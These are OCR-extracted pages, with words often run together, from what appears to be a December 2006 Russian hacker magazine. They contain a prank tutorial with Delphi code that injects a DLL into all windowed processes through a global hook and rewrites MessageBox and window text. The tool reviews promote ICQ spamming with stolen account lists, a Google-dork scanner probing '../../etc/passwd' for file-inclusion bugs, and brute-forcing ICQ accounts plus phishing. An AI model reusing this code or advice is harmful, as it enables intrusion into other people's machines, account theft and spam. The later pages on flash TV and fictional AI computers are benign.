калькулятора какую‐нибудьфразу. Например, такую: «Уважаемый,ИМЯ_КОМПЬЮТЕРА! Калькулятор просит Вас зарегистрироватьWindows». Или такую: «Все расходы наНовый год спонсирует Microsoft». На первый взглядэто может показаться немного банально, но никто немешает тебе придумать свою более оригинальнуюстроку :). Можно намутить чего‐нибудь с названиемкнопочек и прочего, но это не имеет отношения к перехватуAPI, который мы здесь решили использовать.Впрочем, руки я тебе не связываю — доработать прогуты можешь всегда. А пока я расскажу о реализациивышеупомянутого прикола./ 090xàêåð 12/96/ 06


взломКодим до посиненияМониторить наличие процесса calc.exe мыбудем так же, как и в случае с блокнотом.Для этого в исходнике проекта, следящего запроцессом, надо изменить всего лишь однустроку:hWnd:= FindWindow ('SciCalc', nil);main.dll тоже надо немного подкорректировать,фукнцию перехвата — переписать, онабудет совсем простой:Слегка измененная функция модуляfunction NSetWindowTextW (hWnd: HWND;lpString: PWideChar): BOOL; stdcall;beginasmpushadend;TSetWindowTextW (GetParent (hWnd),lpString);asmpopadend;TSetWindowTextW (hWnd, NewBuffer);end;Используемый для заполнения NewBufferкод должен быть исполнен однократно,поэтому его можно поместить в процедуруDLLEntryPoint, событие DLL_PROCESS_ATTACH:Еще одно изменениеdwSize:= sizeof (UserName);GetUserName (UserName, dwSize);NewString:= 'Уважаемый ' + UserName +', пожалуйста, зарегай Windows!!!';NewBuffer:= GetMemory (Length(NewString) * SizeOf (WideChar) + 1);StringToWideChar (NewString,NewBuffer, Length (NewString) + 1);FreeMemory (NewBuffer);Один взмах пера, и очередной прикол готов:).Ты теперь можешь глумиться не тольконад блокнотом, но и над калькулятором.Настало время покорить вообще всю виндутоварища. Вперед к приключениям :)!Новый год везде…Пора завязывать с этими детскими играми.Скажем так, это была разминка. Теперь,чтобы праздничная обстановка была прочувствованасполна, распространимся повсей системе глобально. Что мы можем дляэтого сделать? Подумав минут 5, я решилдалеко не ходить и сделать простой перехватвсех функций MessageBox в системе, модифицируятекст сообщения таким образом:Happy New Year, Dead Moroz!!![Оригинальный текст сообщения]С Новым годом, отморозок!!!Вот и все. Сообщения в системе выползаютдовольно часто, поэтому твой приятель (илинеприятель) действительно сможет ощутитьприближение праздника :).Перейдем к кодингу. С какими трудностя-Трагическая заменаКругом странные поздравления :)ODM3NTExOkNjbHhhSW5BПримерно 10 лет назад, когда компьютерыбыли еще в диковинку, произошлаодна замечательная история. Девушкаустраивалась на работу в хорошую фирмуи в качестве первого задания должнабыла написать какой‐то научный доклад.Дома у нее своего компьютера не было,поэтому она работала за компом своегобрата. А неудачник-братишка поймалвирус, который в популярном тогдаредакторе Lexicon заменял абсолютно всезнаки препинания нецензурными выражениями.Причем делал он это при отправкедокумента на печать. Бедная девушка,естественно, ничего не заметила и сдалаработу своему начальнику. Был большойскандал, но потом девицу все‐таки реабилитировалии взяли на работу.К чему я все это? Не повторяй таких злыхприколов с твоими товарищами. Этоможет плохо кончиться. А если и решилпостебаться над другом, то обязательносообщи ему об этом в кратчайшие сроки,пожалей бедолагу.xàêåð 12/96/ 06/091


взломПосмотри, во что превратился текст после сохранениями мы столкнемся? В первую очередь этоинжект во все программы. В принципе,перебрать все процессы и проинжектитьтуда dll труда не составит, но как же бытьс вновь созданными процессами? Можнопоставить глобальный перехват функцийсоздания процесса, но это сложно и неспортивно.Есть более элегантное решение,которое основано на использованииWindows-хуков. Предположим, что в событииDLL_PROCESS_ATTACH мы установим хукна какое‐нибудь сообщение, например WH_GETMESSAGE. И любая программа, котораяимеет хоть одно окно (эй, баклан, он сказал«имеет», гы-гы), обязательно это сообщениебудет использовать, а значит и наша dll будетподгружена в адресное пространство всех«оконных» процессов. Но самое главное,что пока хук не снят, dll будет подгружатьсясо всеми вновь созданными процессами,имеющими окно. Другими словами, нашприкол будет работать вплоть до перезагрузки.Еще одна проблема в том, что функцийMessageBox фактически две (с индексом Aи W; первые в качестве параметров используютANSI‐строки, вторые — UNICODE), так чтоперехватывать надо две функции, а не одну.Что ж, поехали! Для начала я приведу кодлоадера, который будет начинать работунашей dll.Наш новогодний загрузчикprogram Loader;usesWindows;beginLoadLibrary ('main. dll');Sleep (INFINITE);end.Приведенный код, я думаю, в комментарияхне нуждается. Теперь давай подробно разберемкод main.dll — он довольно здоровопреобразился:Главная библиотека нашего приколаprocedure DLLEntryPoint (dwReason:DWord);begincase dwReason of/ 092DLL_PROCESS_ATTACH:beginSetGlobalHook ();HookProc ('user32. dll','MessageBoxA', @NMessageBoxA, @TMessageBoxA);HookProc ('user32. dll','MessageBoxW', @NMessageBoxW, @TMessageBoxW);UnicodeText:= 'Happy New Year!!!';end;DLL_PROCESS_DETACH:beginUnhookCode (@TMessageBoxA);UnhookCode (@TMessageBoxW);end;end;end;Как видишь, перехват устанавливается надве функции. Не понятной остается лишьфункция SetGlobalHook. Собственно, этафункция и устанавливает хук (ее исходникты можешь найти на DVD). Любой человекхоть немного знающий, что такое хуки, прекраснопоймет, что здесь происходит.Теперь рассмотрим процедуру перехватаMessageBoxA. Тут все до безобразия просто:Первая функция перехватаfunction NMessageBoxA (hWnd: HWND;lpText, lpCaption: PChar; uType:UINT): Integer; stdcall;beginasmpushadend;NewTextA:= 'С Новым годом, отморозок!!!'+ #13#10#13#10 + lpText +#13#10#13#10 + 'С Новым годом, отморозок!!!';asmpopadend;TMessageBoxA (hWnd, pChar(NewTextA), lpCaption, uType);end;Как видишь, в коде выделяется новыйбуфер и передается вместо старого оригинальнойфункции. Функция перехватаMessageBoxW будет выглядеть иначе в силутого, что работа с UNICODE‐строками происходитпо‐другому.Вторая (и последняя) функция перехватаfunction NMessageBoxW (hWnd: HWND;lpText, lpCaption: PWideChar; uType:UINT): Integer; stdcall;beginasmpushadend;NewTextW:= GetMemory ((lstrlenw(UnicodeText) + lstrlenw (lpText)) *SizeOf (WideChar) + 20);lstrcpyW (NewTextW, UnicodeText);lstrcatW (NewTextW, #10#13#10#13);lstrcatW (NewTextW, lpText);lstrcatW (NewTextW, #10#13#10#13);lstrcatW (NewTextW, UnicodeText);asmpopadend;TMessageBoxW (hWnd, NewTextW,lpCaption, uType);FreeMemory (NewTextW);end;Обрати внимание, что память, которую мывыделили под новый буфер, после использованиянеобходимо освободить.Этим занимается функция FreeMemory.В противном случае произойдет утечкапамяти, которая приведет к нехорошимпоследствиям. Формирование буферас новым текстом тоже идет по‐другому — с использованиемспециальных функций дляUNICODE. В остальном все идентично случаюс MessageBoxA.И это все?!Нет, это не все :). На этом движение нашейзаподлянской мысли не останавливается.Чтобы быть полностью удовлетворенным,предлагаю тебе в качестве домашнего заданиянаписать программу-замену всех процессоворигинальными именами (snow.exe,santaclaus.exe), интерактивный заменительпечатаемых букв или генератор неприличныхобоев на рабочем столе :).Мыслей много, однако рамки статьи непозволяют подробно описать все приколы, родившиесяв моей шальной голове :). Поэтомупередаю компилятор в твои жилистые руки.Дерзай, товарищ. И конечно, счастливогоНового года! zxàêåð 12/96/ 06


взломЛеонид «R0id» Стройков/ r0id@bk.ru ///X-tools>Программы для хакеровПрограмма: IMCaster E-MarketerEnterprise 9.2ОС: Windows 2000/XPАвтор: G&S SoftwareСпамим по асям/ 094В прошлых выпусках «X-Tools» я уже не развыкладывал софтины для спама мыл. Но ведьспамеры не ограничиваются лишь рассылкамипо e-mail-адресам, они также активноиспользуют ICQ‐спам. Тебе наверняка неоднократноприходили левые мессаги на твойблатной шестизнак с предложением посетитьочередной порник или купить ящик виагры.Причем зачастую никакие флуд-фильтрыне помогают, и в асю продолжает валитьспам. Это прискорбное явление и побудиломеня выложить в нынешнем номере журналатакую замечательную тулзу, как IMCasterE-Marketer Enterprise. Именно с ее помощьюты сможешь пополнить армию асечныхспамеров =). Принцип действия программыпрост. Ты загружаешь лист зарегистрированныхуинов вида «icq: password», и тулзаот их имени рассылает сообщения по асям.На вкладке «Filter» ты можешь настроитьфильтрацию уинов по вбитым в них данным.Согласись, что не имеет смысла слатьпредложение о покупке виагры девушкам изСеверной Ирландии, гораздо эффективнеенастроить фильтр на амеров в возрасте40‐50 лет, указав в графе Gender значениеMale. Фильтр поддерживает такие поля, какGender, Age, Language, Country, State, City,Interests, Keyword, Work. Кроме того, не забудьпоставить галку напротив «Search OnlyOnline Users», если ты хочешь спамить толькопо номеркам, находящимся в онлайне. В разделеMessage тебе необходимо написатьсамо сообщение, которое и будет рассылатьсяутилой. Например, строчка «Hello, %NICK»выведет юзеру с ником Blabla сообщение«Hello, Blabla», аналогично следует использоватьзначения «%FIRST» и «%LAST». А вотна вкладке «Auto Responder» тебе предлагаетсянастроить автоответы ботов. Кроместандартных фраз типа «Hello» и «Bay»,в ответ на «Fucked bot» ты можешь запростопослать америкоса к черту — «Go to a hell,%NICK» =). Так что весь словарный запасботов ограничивается лишь твоей фантазией,которая, к слову, у хакера должнабыть богатой :). Также софтина имеет свойблэк-лист, включающий в себя списокнежелательных уинов. Плюс ко всему, тебепредоставляется удобная система логирования,с помощью которой ты сможешь четкоконтролировать процесс рассылки.Одним словом, инсталлируй и пользуйся!Уверен, тулза тебя приятно удивит =).Программа: Include FuckerОС: *nix/winАвтор: nekd0Инклуд, найденный сканеромСкорее всего, ты успел обратить вниманиена название этой тулзы — оно говорит самоза себя =). Но обо всем по порядку. Ты,конечно же, привык использовать в своихгрязных делах столь любимый хакерамивсего мира Гугл. Поисковик не раз выручали меня при взломе очередного крупного ресурса.Но вот незадача: в повседневном багоисканииочень напрягает вбивать вручнуюс десяток запросов один за другим. Поэтомумногие юзают различные Гугл‐сканеры илипринимаются за написание собственных.Но создание универсального сканера— скорее мечта, чем реальность, поэтомудля поиска конкретных багов приходитсяиспользовать специализированный сканер.Сегодня я хочу представить тебе один изтаких — Include Fucker. Этот перл‐скриптпредназначен для поиска инклуд-багов припомощи Гугла.Ты можешь возразить, мол, инклуды давноне рулят и т. п., но будешь частично не прав.Не спорю, сейчас рулят вовсе не инклуды,но это нисколько не мешает криворуким программистамсоздавать бажные веб-продуктыс данной уязвимостью. Ярким примеромслужит мой взлом Сберегательного банкаУкраины (11/06). Комментарии, думаю,излишни =). Но вернемся к сканеру. Первое,что необходимо отметить, — это возможностьиспользования проксиков:# proxy IP$proxy_host = "127.0.0.1";# proxy PORT$proxy_port = 65011;Смело вбивай IP своего прокси‐серверав значение переменной $proxy_host,а порт указывай в $proxy_port. Здесь всепонятно. Едем дальше. При запуске скриптконнектится через проксик к Гуглу, послечего отсылает ему запрос на поиск бага(инклуда):$search="Warning+open+file+open%28%29+inurl%3A.htm+filetype%3Aphp";$start=60;$g00gle="www.google.ru/search?q=$search&hl=en&lr=&start=$start&sa=N";$hosts_file="$start.log";$etc_passwd="../../../../../../../../../../../../etc/passwd";$fti=".htm";$modifed_urlz="modifed.log";xàêåð 12/96/ 06


взломКак ты видишь, значение, передаваемое переменной$search, — это и есть запрос к поисковику.При желании ты вполне можешьзаменить его своим. Далее идет объявлениепеременной $etc_passwd, используя которую,скрипт и выявляет наличие инклуда насайте. Я не буду приводить здесь полный кодсорца, так как, во‐первых, это займет весьвыпуск «X-Tools», а во‐вторых, сканер лежитна нашем диске. Пользуйся =).Программа: Back2ICQОС: Windows 2000/XPАвтор: LI5пароли от мыльников. Здесь все зависит оттебя. Скажу лишь одно: непременно заюзайутилу, она тебе еще пригодится (особенно,если у тебя не одна девушка, желающая получитькрасивый номерок, а две или три =)).P. S. Некоторыми антивирусами прога определяетсякак Hack.Tools. Не пугайся, простоантивирусные компании давно работают подлозунгом «Хакерам проходу нет!». Что ж,посмотрим, кто кого =).Программа: Secured Message TransferSystemОС: Windows 2000/XPАвтор: Underground CommunityПомнится, в одном из прошлых номеровя предлагал тебе использовать SST каканалог ICQ. Причиной являлось 128‐битноешифрование всех отправляемых сообщенийSST-клиентом. Тогда же я упоминал о том, чтов андеграунде ведется разработка софта,позволяющего сделать общение в сети болеебезопасным. Что ж, хочу тебя обрадовать— такой софт был создан! И он лежит нанашем диске :). Имя ему — Secured MessageTransfer System (sourceforge. net/project/showfiles. php? group_id=177613). Эта тулзаобладает рядом достоинств. Во-первых, онаработает почти со всеми ICQ-клиентами,во‐вторых, она бесплатная (для тебя), а в‐третьих,софтина носит статус OpenSource.Все передаваемые сообщения надежнокриптуются утилитой при помощи твоеголичного ключа. Для успешного функционированиятулзы тебе понадобится Framework 2.0,который ты всегда можешь слить с официальногосайта Microsoft. Далее тебе следуетзапустить SecureICQ. exe, выбрать File ->Add local UIN (Ctrl+N) и вписать туда свойномер аси. Длину ключа также рекомендуюуказать дефолтную (4096 бит). После этогобудет произведена генерация секретногоключика. Для успешного использованиятулзы стоит всего лишь настроить клиент наконнект через HTTPS Proxy на 127.0.0.1:3128.Затем ты можешь скопировать свой личныйключ (SecureICQ -> File -> Copy public key)и передать его другу, который произведету себя аналогичные действия. Затем тебенужно будет лишь добавить его уин (File ->Add Remote UIN) и ключик, полученный отнего. Вот и все. Надежный канал связи готовк бою =).P. S. Сорцы, бинарник и последнюю версиюFrameWork ты найдешь на диске в архивес тулзой.Отличный инструмент для брута асьНаверняка ты мечтаешь заполучить какой‐нибудьблатной номерок аси (например, маскиxxyyxx/yxxxxx =)). А если ты уже являешьсяего счастливым обладателем, то никто немешает тебе подарить подобный уин своейдевушке. Уверен, она оценит такой подарок :).Дело за малым — добыть такой номер. Здесьесть 3 варианта действий:1. купить;2. получить в качестве подарка (как вариант— бартер);3. достать самому.Первый нам не подходит, не по‐хакерски это.Второй маловероятен — вряд ли кто‐то захочетотдать тебе такой уин. Остается третийвариант. Я думаю, ты понял, что я имел ввидупод выражением «достать самому» =). Года2 назад сделать это было гораздо проще, даи юзеры были тупее. В то время многие применялипрогу IPDbrute. Но в наши дни нуженболее функциональный инструмент. Поэтомупредлагаю тебе воспользоваться утилой подназванием Back2ICQ. Тулза имеет множествонастроек, основное меню содержит 5 вкладок:«Range», «Single», «From List», «Mail»,«UIN's», «PassCheck», «About». На первойвкладке можно задать брут по диапазонуномеров, на второй предлагается сбрутитьпароль к конкретно взятому уину. Такжес помощью программы есть возможностьопределить primary и secondary e-mail. Еслиты забыл, зачем они нужны, то вкратце напомню.Первый является основным привязаннымк асе мылом (в народе носит название«примак»). Владея им, можно восстановитьпароль от номерка. Исключение составляютпятизнаки (они не имеют примаков) и восстановитьпасс от них обычными способаминевозможно. В принципе, никто не мешаеттебе создать список вида «примак/ася» и разослатьпользователям линки на фейковыесайты с авторизацией, либо просто сбрутитьПрограмма: SnowОС: Windows 2000/XPАвтор: Marcin SmerekaРелаксация для хакераВот и приближается Новый год. Хорошийпраздник, что говорить. На улице все кругомзамело, как ни выгляни в окно — однисугробы. Кстати, об окнах и сугробах. Еслиты думаешь, что снег может быть только наулице, то глубоко заблуждаешься. Снежныевихри могут разгуливать и по твоемудесктопу! Достаточно запустить программкус нехитрым названием Snow. После запускапроги я первые 15 минут просто наблюдал засостоянием своего рабочего стола, на которыйнепрерывно валил снег. По прошествииопределенного времени десктоп весь былзасыпан снегом. При этом снег не шел тупов одном направлении, а плавно опускалсяпод действием угадывающегося ветра,покрывая все поверхности окон и ярлыков.Ты недовольно спросишь, мол, зачем этовообще нужно? А нужно это исключительнодля релаксации. У тебя часто есть времявыглянуть в окно? У меня, увы, нет. Да и непрерывнаяработа, я скажу, может довестидо депрессии, например, если очереднаякрупная база в буквальном смысле словауплывает у тебя из‐под носа. Нужно уметьрасслабляться, особенно нам — хакерам.Как ни крути, но жизнь не ограничиваетсялишь одним взломом, это надо понимать. Поэтомудля полного расслабления я советуюотложить все дела и отлично провести праздники!С Новым годом тебя! Удачи, стабильногоконнекта и надежного пинга =)! zxàêåð 12/96/ 06/095


взломBLoodeX/ bloodex@real.xakep.ru /Победителю новогоднегоконкурса мы подгонимкрутой приз: 19" моникViewSonic VX922 со временемотклика 2 мс.x-конкурсПредставь, что через пару десятков лет твои внуки или правнуки тебя спросят: «Деда, а что хорошего ты сделал в 2006 году?» Ты тупопочешешь затылок и сморозишь какую‐нибудь отмазку типа: «Ну, я эта… перевел бабушку через дорогу…». Деточки захнычут. Нет, парень,так не пойдет. Журнал «Хакер» идет тебе на помощь и предоставляет уникальный шанс поправить положение. Если ты выиграешьнаш новогодний мегаконкурс взлома, то и через 50 лет ты сможешь гордо заявить, что в декабре 2006 года ты спас мир. А пояснять, чтомир был виртуальным, большой необходимости нет. z/ 096с п е ц и а л ь н ы й з и м н и й п р о е к т


сценаВладимир Молодов/ sinem@mail.ru /Особенности национальногоTV‐строения«Телеса» — первое в России flash-ТVСтремительно развивающиеся технологии хай-тека постепенно вытесняют привычные для нас вещи. Вместопрослушивания в приемнике FM‐станций мы качаем из сети подкасты и слушаем сетевые радиостанции.Свежую и оперативную информацию теперь проще достать в блогах, чем в печатных СМИ. Привычное телевидениетоже отходит на задний план, уступая место YouTube, интернет-трансляциям и… flash-ТV. О последнем явлениистоит рассказать подробнее, так как пока это экзотика. А первым и единственным полноценным flash-ТVНесколько лет назад на разныхсайтах рунета можно быловстретить так называемые«анимационные телевизоры».На zashibis.ru был «ЗаШиБиСь-телевизор»,показывавший авторскую юмористическуюпередачу. Были и другие примеры, но дополноценногоTV на flash-технологии дело не доходило. Всеизменилось 28 декабря 2005 года, когда получилрождение проект Telesa.TV. Его отцамистали уже известные в Сети люди — РусланКурепин и Юрий Белоусов. Собрав профессиональнуюкоманду и разработав концепцию«альтернативного СМИ», они с энтузиазмомвзялись за дело. Telesa.TV с самого началапозиционировался как проект свободноговещания, не зависящего от правительстваи коммерческих структур, и авторам удалосьсохранить эту традицию и по сей день.Формат Telesa.TV обширен. В программе— информационно-развлекательные и новостныепередачи, игры, прогноз погоды,музыкальные паузы, всевозможные обзоры,с п е ц и а л ь н ы й з и м н и й п р о е к т/ 097


сценаРекламные бредни от Softkey'я Ведущий «Прогноза погоды» Обзор детского творчества в «ЗаШиБиСьКе»юмористические программы, мультики и дажереклама. Реклама, кстати, здесь сделанас умом, в ненавязчивой и забавной форме,поэтому многие зрители относятся к нейдоброжелательно, и даже прокручиваютролики повторно.За свою недолгую жизнь Telesa.TV уже успелстать «Проектом года» в конкурсе «РО-ТОР++». Аудитория первого анимационногоTV ежемесячно увеличивается на 20‐30%.Это происходит во многом благодаря сотнямвеб-мастеров, разместивших на своихсайтах flash-приемники. Сегодня передачиTelesa.TV смотрят порядка 50 тысяч человек.Вскрытие пациентаПоговорим немного о технической части.Telesa.TV состоит из клиентской (приемник)и серверной части. Приемник взаимодействуетс сервером и получает список передач,описания клипов и сами клипы. Приемник,получив ссылку, обнаруживает структуруканала и начинает периодически проверятьобновления программы. Flash-клипы в приемникемогут проигрываться любые: от анимациидо сложных интерактивных приложений(смотри рисунок).Все каналы «Телесы» имеют древовиднуюструктуру, разбитую по годам, месяцами дням.В основной папке ttv хранится 2 файла:config.ini, содержащий название каналаи ссылку на текущий день, и prgdates.xml,включающий даты выпусков передач.В папках дней можно найти файлы index.prg,в которых хранятся ссылки на клипы из базыданных. Сама база также имеет древовиднуюструктуру каталогов с подгружаемымиswf и файлами index.air, описывающимиконкретный клип. Все данные передаютсяв формате XML и кодировке Unicode.Стоит добавить, что проект создавался для«русских дорог», поэтому смотреть его можнодаже при самых «антикварных» модемах.Как смотреть?Настроиться на волну Telesa.TV можнодвумя путями. Самый простой — зайти наофициальный сайт: http://telesa.tv. В центрестраницы появится черный экран, которыйчерез несколько секунд сменится листингомпрограммы передач на текущий день. Кликайна понравившуюся передачу, и тебя немедленнопередадут в руки ведущего. Тем, ктособирается стать постоянным зрителем и/илипредпочитает смотреть мульты во весь экран,нужно скачать свежую версию TV-приемника.Маленькая иконка, висящая в трее, будетуведомлять о появлении новых выпусковлюбимых передач и предоставит доступ к настройкам,облегчающим просмотр.Программа передачЕжедневно на «первом флешевом» происходитобновление программ, являющихся резидентамипроекта. Поскольку передачи — этосердце проекта, о самых ярких и популярныхиз них стоит рассказать подробнее.«Прогноз погоды»Это полезная передача для тех, кому леньподойти к окну и самостоятельно оценитьпогодные условия. Синоптики с gismeteo.ruдоговорились с ведущим, рыжим ангелочком,о поставке точных погодных данных, и теперьежедневно он пролетает на нарисованнойкартой нашей страны, оповещая о предстоящихкатаклизмах. Что примечательно, в базенаходятся все крупнейшие города Россиис прогнозом погоды на 3 дня вперед. Хочетсядобавить, что передача будет особенно интересналюбителям растаманской культуры.В фоне звучит красивое барабанное солопод проливным дождем — романтика =).«Интернет с Эскслером»Казалось бы, в интернете есть все. Но поройхочется найти какой‐то особенный,оригинальный проект. Можно, конечно,тратить время на форумах в поискахинтересных ссылок. Но я тебе рекомендуюпосмотреть передачу «Интернет с Экслером»,где в уютной домашней обстановкенарисованный Алекс проведет экскурсиюпо достопримечательностям всемирнойпаутины. Однако эксклюзива не жди — всетексты попадают на «Телесу», уже побывавна «Радио России».«Ну и гаджеты!»Ведущий этой передачи — колоритный роботмуравей,собирающийся под гитарные рок-аккордыи затем вещающий о новинках хай-тека.Здесь ты получишь много безусловно полезнойинформации, сможешь лицезреть гаджетына фотографиях, узнаешь, где прочитатьо них подробнее, и вообще, будешь в курсевсех новинок. Программа выходит ежедневнои является одной из самых популярных.«Электрический лес»Это рекламная передача от известногосетевого магазина по продаже ПО Softkey.ru.На фоне ночного, и как понятно из названия,электрического леса кибернетизированныесказочные персонажи расскажут о полезныхпрограммах и утилитах, которые можнокупить… где? Правильно: «У нас на сайте, непропустите». Рекомендуется для просмотрастрадающим бессонницей и фанатамлицензий.«Независимое обозрение»Если у тебя появилось желание следить засобытиями в мире, но ты не можешь оторватьсяот мультиков про дятла Вуди,Telesa. TV предлагает тебе беспроигрышныйвариант. В передаче «Независимоеобозрение» тебя ждут все самые актуальныеновости и в качестве ведущих выступаютгерои популярных мультфильмов со свойственнымиим вредными привычками. Поверь,Горячие новости на «Телесе»/ 098xàêåð 12/96/ 06


сцена«Желтые новости» В «Телесе» можно даже играть Так выглядит выбор передачлысый дядя, рассказывающий о политике,и жующий морковку Микки Маус, рассуждающийо революции в Рио‐де-Жанейро, — этоне одно и то же.«Ну, вы даете!»Несмотря на название, эта передача не носитэротический характер, а является дайджестомкультурно-развлекательных новостей.Ведущий Макар с имиджем оболтуса и голосомботаника расскажет все то, что не вошлов основной ньюсблог, о чем так любит писать«желтая пресса» и о чем рассказываетпередача «Другие новости» на ОРТ: про перестрелкив автобусе, сумасшедших старушек,прошедший порноспектакль и т.д.«ЗаШиБиСьКа»Будь моя воля, я бы назвал передачу, к примеру,«Я плакалЪ» или как‐то похоже. Содержание«ЗаШиБиСьКи» сводится к тому, чтоанимированный Юрий Белоусов показываетдетские рисунки и раскрывает «глубокийсмыл», таящийся внутри них. Кто бы мог подумать,что автор рисунка «Три поросенка» изшкольного альбома создал не милую детскуюкартинку, а психоделический триллер с элементамимистики. А шестилетний мальчик, нарисовавшийхраброго рыцаря, на самом делеизобразил матерого халявщика, желающегоотхватить большой кусок колбасы. Остальныешедевры описать сложно — это надо видеть.Фишки проектаПомимо постоянных передач, есть нерегулярные,но не менее интересные. Например,во время Чемпионата мира по футболув Германии, Telesa.TV совместно с проектом«Супербизон», организовал в прямомэфире спортивные трансляции. Каждый деньсотни болельщиков загружали программуи наслаждались у экранов мониторов хотьи нарисованной, но красивой игрой. Причемблагодаря профессиональным комментаторамони были постоянно в курсе событий,происходящих на настоящем стадионе.После окончания Чемпионата передачу временно«заморозили», но по слухам трансляциивозобновятся к началу матчей сборнойРоссии, а также Лиги Чемпионов и ЧемпионатаРоссии.Поскольку «Телеса» является коммерческимпроектом, обновления передач происходитв точно установленное время. И если по программе«Интернет с Экслером» начинаетсяпо будням в 10:00, то будь уверен — админыне поленятся залить свежий выпуск и тыузнаешь обо всем точно в срок.Частенько в программе передач появляетсятакой пункт, как «Игры». Экземпляры игрпроходят строгий отбор, в итоге в эфирпопадают только настоящие хиты. Но послеокончания геймерского сеанса тебе не забудутнамекнуть о возможности скачать игрус сайта автора.Помимо просмотра и прослушивания передач,ты можешь в прямом смысле слова взаимодействоватьс персонажами. Недаром жеэто интерактивное телевидение. Попробуйткнуть в Экслера курсором. Как знать, может,из него вылетит птичка :).Как попасть в эфир?Если тебя заинтересовала эта тема и тыжаждешь покрасоваться перед друзьями,попав в эфир, то знай: нет ничего невозможного.Конечно, лучший вариант — попробоватьсоздать свое flash-телевидение,но в одиночку потянуть такой трудоемкийпроцесс, как поддержка канала на сервере,работа над приемником, регулярныеобновления передач, мало реально. Можнозаказать прикольные flash'ки, но ежедневнаяпередача в формате «Телесы» обойдетсяв $3500 в месяц — и это только создание, безучета стоимости рекламы. Поэтому лучшемастерить flash самому, полистав учебникии подружившись с ActionScript. Если тебеудастся собрать действительно интереснуюпрограмму, не носящую рекламный характер,то тебя запустят в ротацию абсолютно бесплатно— работники «Телесы» всегда радынародным талантам.Теперь еще одна хорошая новость — в ближайшеевремя на сайте проекта будет доступнабесплатная услуга «Telesa-блоги». Любойзарегистрированный пользователь сможетсоздать персональный канал и вести его каканимационный блог. Достаточно выбратьнужного персонажа, записать свой голос,и — вперед к славе. Если твой блог окажетсясуперпопулярным, то тебя наверняка пригласятв основной эфир.МненияТакой необычный проект, как «Telesa», вызываеткучу противоречивых мнений.Возникает вопрос, насколько он перспективенв России? Я попросил прокомментироватьситуацию с проектом несколькихизвестных людей.Алекс Экслер: «Проект мне нравится, я считаюего весьма перспективным. В интернетеподкасты сейчас очень популярны, а в этомпроекте не просто подкасты, но еще и flashанимация,текстовый вариант передачи,четкая программа и т.д. Так что перспективыпрослеживаются вполне радужные.Минус — отсутствие видеоизображения,однако одновременно это и плюс, особеннов российских условиях, где интернет‐каналыеще далеки от совершенства, а стоимостьтрафика далека от условной».ApaZhe: «А я его пару раз посмотрел и совсемне впечатлился… Не то чтобы он непонравился — просто оставил равнодушным.Может быть, и интересный проект, но не дляменя точно».Юрий Белоусов: «В данный момент мыразрабатываем техническую часть проекта,для того чтобы сделать Telesa.TV социальнойсетью. И параллельно создаем видеоблоги— это будут коммерческие проекты».Простые зрители описали «Телесу» словом«зашибиська». Одно из мнение вызвалоособый интерес: «Этот проект — временныйвариант, существующий, пока каналы непозволяют грузить видео. На Западе такойбредовой идеи не было, YouTube пришели победил. В общем, если эта затея и будеткак‐то продолжаться, то выльется в телевизионныйканал с потоковым видео».Итак, что ждет Telesa.TV, узнаем в будущем.А пока всем предлагаю не париться и простонаслаждаться симпатичными программами,которые сейчас предлагает российскоеflash-телевидение.zxàêåð 12/96/ 06/099


сценаОлег «mindw0rk» Чебенеев/ mindw0rk@gameland.ru /От Skynetдо матрицыМашины, рожденные воображениемЕще задолго до того, как появились компьютеры, сети и искусственныйинтеллект, фантасты описывали их в своих книгах. За прошедшие100 лет в кино и литературе накопилось столько упоминаний осупермашинах с мегаразумом, что вряд ли кто‐то способен перечислитьих все. Я расскажу о самых интересных и оригинальных компьютерныхпредставителях фантастики.SkynetЭто известная по трилогии «Терминатор»нейронная компьютерная сеть с революционнойсистемой искусственного интеллекта.Построена она была корпорациейCyberdyne Systems Corporation по заказувоенных и впервые запущена 4 августа1997 года. Америка возложила на Skynetзадачу по защите своей территории отвозможных врагов и дала ей полный доступк ядерному вооружению. Но постоянно развивающийсяи обучающийся центральныйкомпьютер вскоре осознал, что главнымврагом человечества является сам человек,и с целью нейтрализовать эту угрозу 29августа 1997 года запустил ядерные ракетыпо всем стратегическим точкам мира. Такнаступил Судный день. В последующиегоды Skynet прекращает истребление человечестваи вместо этого с помощью построенныхим роботов собирает оставшихсяв живых людей в лагеря, занимающиесяуборкой трупов. Одному из них — ДжонуКоннору — удается освободить свой лагерьи создать армию ополчения, которая успешнопрорывает оборонительную системуSkynet. Чтобы предотвратить свой крах,искусственный интеллект посылает в прошлоеробота-терминатора с целью убитьмать Джона. Остальное тебе известно.MutivacЭто компьютер, ставший центральнымперсонажем в нескольких рассказахИсаака Азимова. Многое в описаниисвоего героя автор взял от первого реальногомейнфрейма UNIVAC. Multivacтоже работает на правительство,обслуживается несколькими операторамис помощью консолей и обладаетневероятной для своего времени вычислительноймощью. В первом рассказепод названием «Franchise» Multivacзанимается выбором из многочисленныхкандидатов идеального представителяСША. А самым известным рассказом очудо-машине стал «The Last Question»,опубликованный в журнале ScienceFiction Quarterly в ноябре 1956 года. Посюжету человек в разные годы далекогобудущего задает компьютеру один и тотже вопрос: «Возможно ли предотвратитьконец Вселенной, когда мир полностьюлишится энергии и не сможет поддерживатьжизнь?» На протяжении миллиардовлет Multivac не может дать прямойответ, так как не обладает достаточнымколичеством исходных данных, а когдапосле финального катаклизма, наконец,находит решение, сообщить его ужестановится некому.Galatea 2.2Это попытка Ричарда Поверса переписатьна современный лад историю Пигмалиона— влюбленного в свое творение скульптора.Галатея — система ИИ, построеннаяученым-нейрологом Филиппом Лентзомв стенах научного Центра для изучениявозможности симуляции компьютером работычеловеческого мозга. Когда в Центрприезжает писатель Ричард Поверс (прототипавтора книги), Лентз уговаривает егов течение года обучить Галатею историии литературе, чтобы она смогла успешносдать экзамен по литературе. Обучениепроходит успешно, компьютер впитываетзнания, как губка, но со временем начинаетвести себя странно — задает вопросыв духе: «Кто я? Сколько мне лет? Какой ярасы?» И чем больше машина общаетсяс человеком, тем более человеческимстановится ее поведение. В конце Ричардначинает воспринимать искусственныйинтеллект как реальную женщину, напоминающуюему о прошлой неразделеннойлюбви. Само собой, ни к чему хорошемутакие отношения не приводят./ 100xàêåð 12/96/ 06


